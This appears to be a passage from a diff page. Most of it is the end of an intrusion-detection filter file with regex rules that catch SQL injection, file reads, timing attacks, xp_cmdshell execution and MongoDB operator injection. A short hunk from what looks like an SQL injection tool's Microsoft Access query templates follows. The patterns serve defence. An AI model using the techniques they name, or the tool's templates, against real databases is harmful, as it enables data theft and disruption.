<description>Detects basic SQL authentication bypass attempts 3/3</description>
<tags>
<tag>sqli</tag>
<tag>id</tag>
<tag>lfi</tag>
</tags>
<impact>7</impact>
</filter>
<filter>
<id>47</id>
<rule><![CDATA[(?:[\d\W]\s+as\s*["\w]+\s*from)|(?:^[\W\d]+\s*(?:union|select|create|rename|truncate|load|alter|delete|update|insert|desc))|(?:(?:select|create|rename|truncate|load|alter|delete|update|insert|desc)\s+(?:concat|char|load_file)\s?\(?)|(?:end\s*\);)|("\s+regexp\W)|(?:[\s(]load_file\s*\()]]></rule>
<description>Detects concatenated basic SQL injection and SQLLFI attempts</description>
<tags>
<tag>sqli</tag>
<tag>id</tag>
<tag>lfi</tag>
</tags>
<impact>5</impact>
</filter>
<filter>
<id>48</id>
<rule><![CDATA[(?:\d+\s*or\s*\d+\s*[\-+])|(?:\/\w+;?\s+(?:having|and|or|select))|(?:\d\s+group\s+by.+\()|(?:(?:;|#|--)\s*(?:drop|alter))|(?:(?:;|#|--)\s*(?:update|insert)\s*\w{2,})|(?:[^\w]SET\s*@\w+)|(?:(?:n?and|x?or|not |\|\||\&\&)[\s(]+\w+[\s)]*[!=+]+[\s\d]*["=()])]]></rule>
<description>Detects chained SQL injection attempts 1/2</description>
<tags>
<tag>sqli</tag>
<tag>id</tag>
</tags>
<impact>6</impact>
</filter>
<filter>
<id>49</id>
<rule><![CDATA[(?:"\s+and\s*=\W)|(?:\(\s*select\s*\w+\s*\()|(?:\*\/from)|(?:\+\s*\d+\s*\+\s*@)|(?:\w"\s*(?:[-+=|@]+\s*)+[\d(])|(?:coalesce\s*\(|@@\w+\s*[^\w\s])|(?:\W!+"\w)|(?:";\s*(?:if|while|begin))|(?:"[\s\d]+=\s*\d)|(?:order\s+by\s+if\w*\s*\()|(?:[\s(]+case\d*\W.+[tw]hen[\s(])]]></rule>
<description>Detects chained SQL injection attempts 2/2</description>
<tags>
<tag>sqli</tag>
<tag>id</tag>
</tags>
<impact>6</impact>
</filter>
<filter>
<id>50</id>
<rule><![CDATA[(?:(select|;)\s+(?:benchmark|if|sleep)\s*?\(\s*\(?\s*\w+)]]></rule>
<description>Detects SQL benchmark and sleep injection attempts including conditional queries</description>
<tags>
<tag>sqli</tag>
<tag>id</tag>
</tags>
<impact>4</impact>
</filter>
<filter>
<id>51</id>
<rule><![CDATA[(?:create\s+function\s+\w+\s+returns)|(?:;\s*(?:select|create|rename|truncate|load|alter|delete|update|insert|desc)\s*[\[(]?\w{2,})]]></rule>
<description>Detects MySQL UDF injection and other data/structure manipulation attempts</description>
<tags>
<tag>sqli</tag>
<tag>id</tag>
</tags>
<impact>6</impact>
</filter>
<filter>
<id>52</id>
<rule><![CDATA[(?:alter\s*\w+.*character\s+set\s+\w+)|(";\s*waitfor\s+time\s+")|(?:";.*:\s*goto)]]></rule>
<description>Detects MySQL charset switch and MSSQL DoS attempts</description>
<tags>
<tag>sqli</tag>
<tag>id</tag>
</tags>
<impact>6</impact>
</filter>
<filter>
<id>53</id>
<rule><![CDATA[(?:procedure\s+analyse\s*\()|(?:;\s*(declare|open)\s+[\w-]+)|(?:create\s+(procedure|function)\s*\w+\s*\(\s*\)\s*-)|(?:declare[^\w]+[@#]\s*\w+)|(exec\s*\(\s*@)]]></rule>
<description>Detects MySQL and PostgreSQL stored procedure/function injections</description>
<tags>
<tag>sqli</tag>
<tag>id</tag>
</tags>
<impact>7</impact>
</filter>
<filter>
<id>54</id>
<rule><![CDATA[(?:select\s*pg_sleep)|(?:waitfor\s*delay\s?"+\s?\d)|(?:;\s*shutdown\s*(?:;|--|#|\/\*|{))]]></rule>
<description>Detects Postgres pg_sleep injection, waitfor delay attacks and database shutdown attempts</description>
<tags>
<tag>sqli</tag>
<tag>id</tag>
</tags>
<impact>5</impact>
</filter>
<filter>
<id>55</id>
<rule><![CDATA[(?:\sexec\s+xp_cmdshell)|(?:"\s*!\s*["\w])|(?:from\s+information_schema\W)|(?:(?:(?:current_)?user|database|schema|connection_id)\s*\([^\)]*)|(?:";?\s*(?:select|union|having)\s*[^\s])|(?:\wiif\s*\()|(?:exec\s+master\.)|(?:union select @)|(?:union[\w(\s]*select)|(?:select.*\w?user\()|(?:into[\s+]+(?:dump|out)file\s*")]]></rule>
<description>Detects MSSQL code execution and information gathering attempts</description>
<tags>
<tag>sqli</tag>
<tag>id</tag>
</tags>
<impact>5</impact>
</filter>
<filter>
<id>56</id>
<rule><![CDATA[(?:merge.*using\s*\()|(execute\s*immediate\s*")|(?:\W+\d*\s*having\s*[^\s])|(?:match\s*[\w(),+-]+\s*against\s*\()]]></rule>
<description>Detects MATCH AGAINST, MERGE, EXECUTE IMMEDIATE and HAVING injections</description>
<tags>
<tag>sqli</tag>
<tag>id</tag>
</tags>
<impact>5</impact>
</filter>
<filter>
<id>57</id>
<rule><![CDATA[(?:select\s*\*\s*from)|((?:select|create|rename|truncate|load|alter|delete|update|insert|desc)\s*\(\s*space\s*\()]]></rule>
<description>Detects MySQL comment-/space-obfuscated injections</description>
<tags>
<tag>sqli</tag>
<tag>id</tag>
</tags>
<impact>5</impact>
</filter>
<filter>
<id>70</id>
<rule><![CDATA[(?:\[\$(?:ne|eq|lte?|gte?|n?in|mod|all|size|exists|type|slice|or)\])]]></rule>
<description>finds basic MongoDB SQL injection attempts</description>
<tags>
<tag>sqli</tag>
</tags>
<impact>4</impact>
</filter>
</filters>

View File

@ -344,10 +344,10 @@
<!-- Microsoft Access --> <!-- Microsoft Access -->
<dbms value="Microsoft Access"> <dbms value="Microsoft Access">
<cast query="CVAR(%s)"/> <cast query="RTRIM(CVAR(%s))"/>
<length query="LEN(%s)"/> <length query="LEN(RTRIM(CVAR(%s)))"/>
<isnull query="IIF(LEN(%s)=0,' ',%s)"/> <isnull query="IIF(LEN(%s)=0,' ',%s)"/>
<delimiter query=","/> <delimiter query="&amp;"/>
<limit query="TOP %d"/> <limit query="TOP %d"/>
<limitregexp query="\s+TOP\s+([\d]+)"/> <limitregexp query="\s+TOP\s+([\d]+)"/>
<limitgroupstart query="1"/> <limitgroupstart query="1"/>